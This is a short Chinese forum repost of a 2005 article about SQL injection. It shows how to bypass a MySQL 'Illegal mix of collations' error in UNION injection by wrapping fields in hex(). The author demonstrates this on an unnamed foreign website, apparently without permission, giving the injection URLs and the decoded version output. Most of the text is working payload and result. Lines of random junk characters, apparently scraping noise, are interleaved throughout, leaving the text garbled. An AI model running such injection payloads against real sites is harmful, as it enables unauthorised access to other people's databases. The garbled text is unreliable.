中国网络渗透测试联盟
标题:
MySQL注射时ErrorNo.1267的突破
[打印本页]
作者:
admin
时间:
2012-9-15 14:04
标题:
MySQL注射时ErrorNo.1267的突破
本文作者:SuperHei
' w$ X. U0 O, {
文章性质:原创
1 v# `) I6 G6 V! Y0 D7 q4 a
发布日期:2005-10-18
1 k1 T; m. U/ P e
测试个国外的站时:
( r' m$ h$ z5 d5 y/ Q& H! l( m0 P# n
url:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*
1 b: ~3 a- e$ q' |' g( U, a
返回错误:
* g F* k# Q+ |6 X1 }5 e* q2 L6 y
Illegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
4 Q; z `5 U3 {7 k# ?
MySQL Error No. 126
P6 d- q" G7 m
看来是union查询前后字符集(
http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html
)不同出现的。
% y5 o! ~& |+ X5 Z
解决办法:转为其他编码如hex。
* ?4 }1 W2 p% A( @/ q+ E* Q
url:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*
0 I5 @. V: `( {, p8 g2 O6 k
成功得到hex(version())的值为:
5 ]- J: ^" V$ S+ y$ ]
342E312E332D62657461
) I, R2 H. p% V- v! ~3 y
回Mysql查询下得到:
j1 ]/ E& w1 @; N( P [/ q
mysql> select 0x342E312E332D62657461;
$ T( G- N. A( ]0 n, B3 W# G
+------------------------+
( f' {; Y) t3 V
| 0x342E312E332D62657461 |
. A6 B) K& W3 T/ V
+------------------------+
# w0 V$ z# a7 |6 D0 _# V
| 4.1.3-beta |
' E. w* b3 \2 K7 r
+------------------------+
2 @+ D) ~2 R; G3 Z
1 row in set (0.00 sec)
, J2 [* z1 j. u/ a
* w" ~7 }9 o# W( ^, P
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2